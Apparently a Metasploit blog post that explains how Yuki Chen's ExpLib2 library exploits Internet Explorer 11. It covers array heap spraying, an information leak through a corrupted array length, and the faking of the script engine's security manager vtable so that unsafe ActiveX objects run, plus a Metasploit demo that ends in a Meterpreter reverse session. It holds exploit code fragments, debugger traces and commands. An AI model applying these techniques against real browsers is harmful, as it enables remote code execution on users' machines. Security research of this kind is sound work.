This blog post was jointly written by Wei sinn3r Chen and Juan Vazquez


Memory corruption exploitation is not how it used to be. With modern mitigations in place, such as GS, SafeSEH, SEHOP, DEP, ASLR/FASLR, EAF+, ASR, VTable guards, memory randomization, and sealed optimization, etc, exploit development has become much more complicated. It definitely shows when you see researchers jumping through hoops like reverse-engineering some 0-day vulnerability and the software, turning a use-after-free crash into an arbitrary write, leak an object and disclose a module base, and customized ROP and shellcode. Watching an exploit developer work is like watching a nice kung fu movie: you see him trying to thrust, hack, kick, hitting left and right, from the ground all the way to rooftops, and then next thing you know he just popped a shell. It's all very fancy. Oh, and it's real.


Despite all the fanciness of modern exploitation, security researcher Yuki Chen (who is the exploit dev version of Bruce Lee) took a different turn. If you're not much of a Bruce Lee fan, well, Lee was really big in the philosophy of simplicity. In his words:

Screen Shot 2014-04-03 at 1.42.06 PM.png

“It’s not the daily increase but daily decrease. Hack away at the unessential.”

What Yuki Chen wanted to do was avoid dealing with the hassle of EAF, DEP, shellcode, and other things. Basically, going for the most straight-forward punch with the least amount of effort. His idea of simplicity and the creation of ExpLib2 are what make him so Bruce Lee. However, we notice that the security community hasn't been talking about his stuff much, so here we'd like to go over his work on ExpLib2 more in depth, hopefully to spark more interest.

ExpLib2 is basically Yuki's exploitation library for Internet Explorer. To be able to use this, it assumes you already have a bug for an arbitrary write. And then you will have to use this bug to modify the length field of an array in memory, and you tell the library where it is, what payload to run, and that's all it needs from you. To give you an idea how much you're writing for the exploit, take a good look at the following example:

function modifyArray() {
  // Use your bug and modify the array here
  // For testing, we do: ed 1a1b3000+18 400

function example() {
  var num_arrays = 98688;
  var arr_size = (0x1000 - 0x20)/4;
  var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_exec('calc.exe') );
  explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]); // There is a default one too
  explib.go();  // Code execution

The go() function from ExpLib2 will then use the information initialized by you and leak objects in order to figure out where the security manager is, makes a copy of it, have it modified (and patches other necessary functions), that way the ScriptEngine functions will end up using your fake security manager, and execute your payload in "god mode". This is pretty much the summarized version of the technique, which is also briefly explained in the original paper by Yuki, "Exploit IE Using Scriptable ActiveX Controls", but let's take a closer look at this magic trick.

Heap Spraying


As you can see from the above example, an array is sprayed (on the heap), and here's why: Heap spraying is a common technique to place something at a predicable location in memory, in this case so ExpLib2 can modify it to perform an information leak. JavaScript arrays are also much easier to work with, because in memory there's no randomization or any alignment problems, which yields predictability. As an optional reading, a recent presentation titled "The Art of Leaks: The Return of Heap Feng Shui" by ga1ois is a good one that explains better about array spraying in Javascript, which you might find interesting.


The following is the exact routine that ExpLib2 uses for spraying, and we'll explain about how it works:


ExpLib.prototype.spray = function() {
  this.arr_arr = new Array( num_arrays );

  var decl = "[";

  for ( var i = 0; i < this.arr_size - 1; ++ i ) {
    decl += '0,';

  decl += '0';
  decl += ']';

  for ( var i = 0; i < num_arrays; ++ i ) {
    this.arr_arr[i] = eval(decl);
    for(var j = 0; j < this.arr_contents.length; j++) {
      this.arr_arr[i][j] = this.arr_contents[j];


To use this spray() function, first off we need to initialize ExpLib2. We'll ask it to create 20 members for the array. Every member has the size of (0x1000 - 0x20) /4 (more about this later). And we expect the library to store one of the array members at this address: 0x1a1b3000


var explib = new ExpLib( 20,  (0x1000 - 0x20)/4 , 0x1a1b3000, new payload_exec('calc') );


Once the spray() function is called, the spraying begins. In the beginning, the 20 members are filled with zeros using an eval'ed array:


var decl = "[";
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
  decl += '0,';
decl += '0';
decl += ']';


Each member is (0x1000 - 0x20) / 4 big. What happens under the hood for the array creation can be examined in the Js::InterpreterStackFrame::OP_ProfiledNewScIntArray function in Jscript9.dll:


int __thiscall Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>(int this, int a2)

  if ( v8 )
    v9 = *v8;
    if ( !(v9 & 1) )
      // Js::JavascriptLibrary::CreateNativeIntArrayLiteral(uint)
      v10 = Js::JavascriptLibrary::CreateNativeIntArrayLiteral(*v5);

      // Js::JavascriptOperators::AddIntsToArraySegment(Js::SparseArraySegment<int> *,Js::AuxArray<int> const *)



The first call to Js::JavascriptLibrary::CreateNativeIntArrayLiteral() will initialize the Js::JavascriptnativeIntArray object and will allocate space to store the data. The second call to Js::JavascriptOperators::AddIntsToArraySegment() will fill the space with user-controlled data, which in this case is just nulls.


Let's examine the Js::JavascriptLibrary::CreateNativeIntArrayLiteral() function first a little more carefully. So in Jscript9, there are multiple variants of arrays like Integer arrays or float arrays. Our function, as the name implies, creates a "Native Int Array Literal". Although there are different types of arrays out there, note that they all have the same inheritance that goes all the way back to Js::DynamicObject:



As an example, our JavascriptNativeIntArray has the following layout in memory:


Screen Shot 2014-04-04 at 12.17.19 PM.png


Next, space for the array data will be allocated through the internal Jscript9 allocator. For arrays like the ones used by ExpLib2, if large enough, will go through LargeHeapBlock:


0:007> g
Breakpoint 3 hit
eax=0000018c ebx=00000ff0 ecx=0258aa98 edx=0254cb8c esi=00000ff0 edi=0254f344
eip=68be0594 esp=0344aef8 ebp=0344af1c iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
68be0594 8bff            mov    edi,edi
0:007> kb
ChildEBP RetAddr  Args to Child
0344aef4 68d03a7f 00000ff0 00000000 000003f8 jscript9!LargeHeapBlock::Alloc
0344af1c 68d03979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0xe1
0344af34 68d039f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
0344af4c 68d039b2 000003f8 000003f8 02925100 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
0344af80 68bc3a24 02548a78 02f69010 0344afc0 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
0344af90 68c4a9b5 000003f8 0344b3d0 02546f58 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a


LargeHeapBlock::Alloc will check if it has enough space available for the requested allocation. The actual requesting size should be data size plus the 0x10 header size. If there's space, it will return a pointer for the allocation, and then it will just adjust the position of the next available space.


.text:1006059D                mov    ecx, [ebp+arg_0] ; Allocation Request
.text:100605A0                push    edi
.text:100605A1                mov    ebx, [esi+1Ch]  ; Space Available
.text:100605A4                lea    edi, [ebx+10h]  ; Allocation Header Length: 0x10
.text:100605A7                lea    eax, [ecx+edi]  ; EAX = the limit of the allocation
.text:100605AA                cmp    eax, [esi+20h]  ; Compare with the max memory available for LargeHeapBlock
.text:100605AD                ja      loc_10060808
.text:100605B3                cmp    eax, edi
.text:100605B5                jb      loc_10060808
.text:100605BB                mov    dl, [ebp+arg_4]
.text:100605BE                mov    [esi+1Ch], eax  ; 0x1c stores the new pointer to the available space for allocations
.text:100605C1                mov    eax, [esi+14h]
.text:100605C4                mov    [ebx+4], ecx
.text:100605C7                mov    [ebx], eax
.text:100605C9                mov    eax, edi        ; Pointer to the memory to store the data


The allocation request eventually reaches VirtualAlloc through the JavaScript PageAllocator. The following demonstrates an allocation of 0x20000:


0:004> kb 10
ChildEBP RetAddr  Args to Child
0365b190 6b530184 00201000 00000004 02789410 jscript9!Segment::Initialize+0x31
0365b1a8 6b530122 00000000 02789410 0365b1d4 jscript9!PageAllocator::AllocPageSegment+0x34
0365b1b8 6b5300fa 02789414 0365b22c 02789410 jscript9!PageAllocator::AddPageSegment+0x14
0365b1d4 6b4d97d2 00000004 0365b20c 00000000 jscript9!PageAllocator::SnailAllocPages+0x3d
0365b1ec 6b4d98c1 00000004 0365b20c 02789410 jscript9!PageAllocator::AllocPages+0x3d
0365b204 6b5306e6 0365b22c 0365b224 00000000 jscript9!PageAllocator::Alloc+0x1d
0365b230 6b530880 00000ff0 0278fcd4 0365b260 jscript9!LargeHeapBucket::AddLargeHeapBlock+0x5d
0365b240 6b53085e 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::TryAllocFromNewHeapBlock+0xe
0365b260 6b67408d 02789408 00000ff0 00000000 jscript9!LargeHeapBucket::SnailAlloc+0x3e
0365b28c 6b653979 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::Allocate+0x10f
0365b2a4 6b6539f0 00000000 000003f8 00000000 jscript9!Js::SparseArraySegment<int>::AllocateSegment+0x4c
0365b2bc 6b6539b2 000003f8 000003f8 02f146a0 jscript9!Js::JavascriptNativeIntArray::JavascriptNativeIntArray+0x32
0365b2f0 6b513a24 02789408 0307d020 0365b330 jscript9!Js::JavascriptArray::NewLiteral<int,Js::JavascriptNativeIntArray>+0x1bc
0365b300 6b59a9b5 000003f8 0365b740 027878b0 jscript9!Js::JavascriptLibrary::CreateNativeIntArrayLiteral+0x1a
0365b330 6b59a92a 031ee480 027878b0 031ee480 jscript9!Js::InterpreterStackFrame::OP_ProfiledNewScIntArray<0>+0x72
0365b738 6b4e0aa3 02efa550 031ee480 02efa540 jscript9!Js::InterpreterStackFrame::Process+0x472a


If you do get an allocation, there shouldn't be any randomization behind it. Other researchers like Yuki and @Ga1ois also pretty much claim the same thing.


Let's move on to the array data. Remember the (0x1000 - 0x20 / 4) size we talked about? Here's where that "0x20" comes from: when data is created, we must account for two things: The allocation header, and the array header. Each of them is 0x10 bytes, so that's where you got the 0x20. Having these into account will ensure you to get 0x1000-byte aligned allocations with LargeHeapBlock. Each array looks like the following:

Screen Shot 2014-04-04 at 5.57.23 PM.png


Some interesting information you want to remember:


  • Allocation header + 0x4 = Allocation Size
  • Array data header + 0x4 = Array Length
  • Array data header + 0x8 = Array Length
  • The array data would have an allocation pattern like this link.


So yup, that's it for our heap spraying. It's quite a lot of stuff to go through, isn't it? Does the code example above remind you how awesome Yuki Chen is to make this into one line of code?



Exploitation with Safe Mode Bypass in Internet Explorer 11


Like we said earlier, Yuki Chen's exploitation technique doesn't require any ROP, VirtualProtect, NtContinue, or custom shellcode, etc. It does require you to begin with a memory corruption of your own in order to modify an array you spray. Modify what, you ask? Well, by overwriting the length field of an array, which is found in the array data header, it is possible to read or write whatever is beyond the array data, and that is your typical information leak. By taking advantage of this, Yuki Chen managed to eventually disable safe mode in Internet Explorer to be able to run an unsafe ActiveX object like this:


var WshShell = new ActiveXObject("");
oExec = WshShell.Exec('calc.exe')


What ExpLib2 achieves for you is with that information leak, it will disclose the address of an ScriptEngine object, and then it finds the security manager from it at offset 0x21c, like this:

var original_securitymanager = this.read32( script_engine_addr + 0x21c );

Note that even though the security manager is an object, the symbols for it won't necessarily make sense to you. The vtable has your typical QueryInterface, AddRef, Release, the rest are all "TearoffThunk"s, which is sort of cryptic looking at first glance. An example of that can be found here. We were able to verity this is indeed the security manager by examining the ScriptSite::CreateObjectFromProgID function (which is used to create an ActiveX object):


signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)

  if ( a3 )
    pvReserved = &v13;
  if ( ScriptEngine::InSafeMode(*((_DWORD *)this + 1), (int)&v19) < 0 )
    return -2146827859;
  v5 = v19 ? CLSIDFromProgID(lpszProgID, &clsid) : CLSIDFromProgIDEx(lpszProgID, &clsid);
  if ( v5 < 0 || !ScriptEngine::CanCreateObject(*((_DWORD *)v4 + 1), (int)&clsid) )
    return -2146827859;
  v6 = 5;
  if ( a3 )
    if ( *(_DWORD *)(*((_DWORD *)v4 + 20) + 1164) >= 3 || v19 )
      return -2146827859;
    v6 = 16;
  if ( CoGetClassObject(&clsid, v6, pvReserved, &IID_IClassFactory, &ppv) < 0 )
    return -2146827859;
  v7 = (**(int (__stdcall ***)(LPVOID, GUID *, int *))ppv)(ppv, &IID_IClassFactoryEx, &v20) < 0;
  v8 = *(_DWORD *)ppv;
  if ( v7 )
    v9 = (*(int (__stdcall **)(LPVOID, _DWORD, GUID *, int))(v8 + 12))(ppv, 0, &IID_IUnknown, a4);
    (*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppv + 8))(ppv);
    if ( v9 >= 0 )
      if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
        return v9;
      (*(void (__stdcall **)(_DWORD))(**(_DWORD **)a4 + 8))(*(_DWORD *)a4);
      *(_DWORD *)a4 = 0;
      return -2146827859;
    (*(void (__stdcall **)(LPVOID))(v8 + 8))(ppv);
    pvReserved = 0;
    v11 = SiteService::Create(&pvReserved, v4);
    v12 = pvReserved;
    v9 = v11;
    if ( v11 >= 0 )
      v9 = (*(int (__stdcall **)(int, LPVOID, _DWORD, GUID *, int))(*(_DWORD *)v20 + 20))(
      if ( v9 >= 0 )
        (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
        goto LABEL_11;
    (*(void (__stdcall **)(int))(*(_DWORD *)v20 + 8))(v20);
    if ( v12 )
  return v9;


The first important thing here is the call to ScriptEngine::CanCreateObject function. There you can find an interesting call to ScriptEngine::GetSiteHostSecurityManagerNoRef() with an argument (var_4), which is the host of the security manager:


6c128362 8d45fc          lea     eax,[ebp-4]
6c128365 8bce            mov     ecx,esi
6c128367 50              push    eax
6c128368 e844000000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (6c1283b1)


What follows next is the ScriptEngine::GetSiteHostSecurityManagerNoRef function will retrieve the security manager at offset 0x21c from the ScriptEngine object. You know, the same 0x21c offset that ExpLib2 refers to:


6c1283d5 8d9f1c020000    lea     ebx,[edi+21Ch]         ; Retrieve SecurityManager from ScriptEngine
6c1283db 3933            cmp     dword ptr [ebx],esi
6c1283dd 7412            je      jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef+0x40 (6c1283f1)
6c1283df 8b4d08          mov     ecx,dword ptr [ebp+8]
6c1283e2 8b03            mov     eax,dword ptr [ebx]
6c1283e4 5b              pop     ebx
6c1283e5 8901            mov     dword ptr [ecx],eax    ; Store the SecurityManager reference into the caller var_4
6c1283e7 8bc6            mov     eax,esi
6c1283e9 5f              pop     edi
6c1283ea 5e              pop     esi
6c1283eb 8be5            mov     esp,ebp
6c1283ed 5d              pop     ebp
6c1283ee c20400          ret     4


We can double check that 0x21c is indeed where is security manager is by hitting out breakpoint at address 0x6c1283d5, which is where the "lea ebx, [edi+21Ch]" instruction is:


Breakpoint 2 hit
eax=035ab150 ebx=035ab1dc ecx=0462eb98 edx=00000020 esi=00000000 edi=029b1dd8
eip=6c1283d5 esp=035ab12c ebp=035ab13c iopl=0        nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202
6c1283d5 8d9f1c020000    lea    ebx,[edi+21Ch]


Ok, so we've hit the correct breakpoint. If we check EDI, it should point to the ScriptEngine object:


0:007> ln poi(edi)
(6bfc2298)  jscript9!ScriptEngine::`vftable'  |  (6c03d878)  jscript9!`string'
Exact matches:
    jscript9!ScriptEngine::`vftable' = <no type information>


At EDI+0x21c, we notice this pointer 0x68decd98 (this log is from another new debugging session, but you get the point):


0:007> dds poi(edi+21c) L1
00359c90  68decd98 MSHTML!s_apfnPlainTearoffVtable


If we take a look at this particular pointer, it brings us to the same "cryptic" looking vtable we found earlier, which verifies that this is indeed the security manager:

0:007> dds poi(poi(edi+21c))
68decd98  67fb87d7 MSHTML!PlainQueryInterface
68decd9c  67fad535 MSHTML!CDomEventRegistrationCallback2<CDiagnosticsElementEventHelper>::AddRef
68decda0  67faa906 MSHTML!PlainRelease
68decda4  681efba2 MSHTML!TearoffThunk3
68decda8  681b6f2b MSHTML!TearoffThunk4
68decdac  681b6efc MSHTML!TearoffThunk5
68decdb0  681bc2d9 MSHTML!TearoffThunk6
68decdb4  680f0bfd MSHTML!TearoffThunk7
68decdb8  681b7ecd MSHTML!TearoffThunk8
68decdbc  681f4109 MSHTML!TearoffThunk9
68decdc0  681c5978 MSHTML!TearoffThunk10
68decdc4  68110cf1 MSHTML!TearoffThunk11
68decdc8  68093831 MSHTML!TearoffThunk12
68decdcc  68455c0d MSHTML!TearoffThunk13
68decdd0  68322ce5 MSHTML!TearoffThunk14
68decdd4  681f4612 MSHTML!TearoffThunk15
68decdd8  683ea4cb MSHTML!TearoffThunk16
68decddc  681f56e8 MSHTML!TearoffThunk17
68decde0  683ec3c5 MSHTML!TearoffThunk18
68decde4  6846194c MSHTML!TearoffThunk19
68decde8  68212c40 MSHTML!TearoffThunk20
68decdec  68213049 MSHTML!TearoffThunk21
68decdf0  683e5d5a MSHTML!TearoffThunk22
68decdf4  683e50c1 MSHTML!TearoffThunk23
68decdf8  683c9755 MSHTML!TearoffThunk24
68decdfc  68209511 MSHTML!TearoffThunk25
68dece00  6848ab0e MSHTML!TearoffThunk26
68dece04  68408a2f MSHTML!TearoffThunk27
68dece08  68484220 MSHTML!TearoffThunk28
68dece0c  684b8d55 MSHTML!TearoffThunk29
68dece10  684b8f75 MSHTML!TearoffThunk30
68dece14  68417220 MSHTML!TearoffThunk31


Now back to ExpLib2. After it figures out where the security manager is (it also finds Jscript9's base, code start, code end for other things later on), it will copy it in order to create another fake one. It becomes fake because ExpLib2 modifies its security manager vtable, and then it modifies ScriptEngine's security manager reference at offset 0x21c to the fake one. And this is how we trick Internet Explorer into treating your unsafe ActiveX safe.


But hang on, that's not all of it. ExpLib2 also needs to patch two virtual functions in the fake security manager with the following sequences:


/* mov esp, ebp; pop ebp; ret 8; */
this.write32( fake_securitymanager_vtable + 0x14,
  this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) );

/* mov esp, ebp; pop ebp; ret 4; */
this.write32( fake_securitymanager_vtable + 0x10,
  this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) );


These two patches are meant for the type of payload you want to run. The first patch is for exec type of payload, and the second patch is for drop-and-execute type of payload. Let's focus on the first patch, because that should be enough to make a point for now.


To examine what the first patch is about, we'll breakpoint at the original virtual function MSHTML!TearoffThunk5 (offset 0x14), and see why it has to be faked. The breakpoint should lead us to ScriptEngine::CanObjectRun() based on the callstack:


0:007> g
Breakpoint 2 hit
eax=00359c90 ebx=00000000 ecx=68decd98 edx=027ab6a0 esi=027ab734 edi=027ab6c4
eip=681b6efc esp=027ab670 ebp=027ab6e0 iopl=0        nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000246
681b6efc 8b542404        mov    edx,dword ptr [esp+4] ss:0023:027ab674=909c3500
0:007> kb 5
ChildEBP RetAddr  Args to Child
027ab66c 66965d46 00359c90 66965d84 027ab6a0 MSHTML!TearoffThunk5
027ab6e0 66965bd1 027ab724 012a34cc 00000002 jscript9!ScriptEngine::CanObjectRun+0x89
027ab73c 66965a86 01c6afe0 00000000 027ab76c jscript9!ScriptSite::CreateObjectFromProgID+0xfd
027ab788 66965a03 01c6afe0 00000000 012f79c8 jscript9!ScriptSite::CreateActiveXObject+0x51
027ab7b8 66826f21 01df74c0 01000002 00000000 jscript9!JavascriptActiveXObject::NewInstance+0x99


After some stepping in the debugger, you should be able to tell that faking the virtual function at offset 0x14 is necessary: It needs to survive the CanObjectRun call, which allows a successful return from function CreateObjectFromProgID, and finally creating an ActiveXObject without any issues:


signed int __thiscall ScriptSite::CreateObjectFromProgID(void *this, const OLECHAR *a2, int a3, int a4)
      if ( ScriptEngine::CanObjectRun(&clsid, *(_DWORD *)a4) )
        return v9;


And that's really impressive work from Yuki Chen. In case you haven't realized, he managed to get code execution on Internet Explorer 11 without fighting every single memory protection like a boss. Reversing the JavaScript security model is also a fun one for all of us.



Metasploit Demo


In case you didn't know, ExpLib2 has already been merged into Metasploit. To demonstrate how to use it by an exploit module, we have two test cases for you to play with:



The difference between these two modules is the kind of payload you get with ExpLib2. We like explib2_ie11_drop_exec_test_case, because it pops a Metasploit meterpreter session, so we'll talk about that. To use it, make sure you place it as a loadable module by the Framework, and then:


> use exploit/windows/browser/explib2_ie11_drop_exec_test_case
msf exploit(explib2_ie11_drop_exec_test_case) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on
[*] Using URL:
[*]  Local IP:
[*] Server started.


Visit the page with a Windows 7 SP1 / IE11, an alert will pop up asking you to execute the following "ed" command. This is just a way to simulate a memory corruption vulnerability to overwrite the array data length. You should attach WinDBG to iexplore.exe, and run this ed command:


ed 1a1b3000+18 400


Next, you can either issue the "g" command to continue the process, or you can run the ".detach" command. And then go ahead and click on the alert.  After that, ExpLib2 should do its thing, and you should get a session like so:


msf exploit(explib2_ie11_drop_exec_test_case) >
[*]      explib2_ie11_drop_exec_test_case - Gathering target information.
[*]      explib2_ie11_drop_exec_test_case - Sending response HTML.
[*] Sending stage (769536 bytes) to
[*] Meterpreter session 1 opened ( -> at 2014-03-28 11:06:41 -0500

msf exploit(explib2_ie11_drop_exec_test_case) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter    : x86/win32


If you'd like to try ExpLib2 in Metasploit yourself, make sure to run an update and this should be in your repository. If you don't have a development environment, feel free to go through our Metasploit Development Environment wiki, and maybe submit a pull request if you'd like to improve it more. Finally, if you've never heard of Metasploit before, click here to enjoy thousands of exploits, auxiliaries, post modules, and more. It's FREE.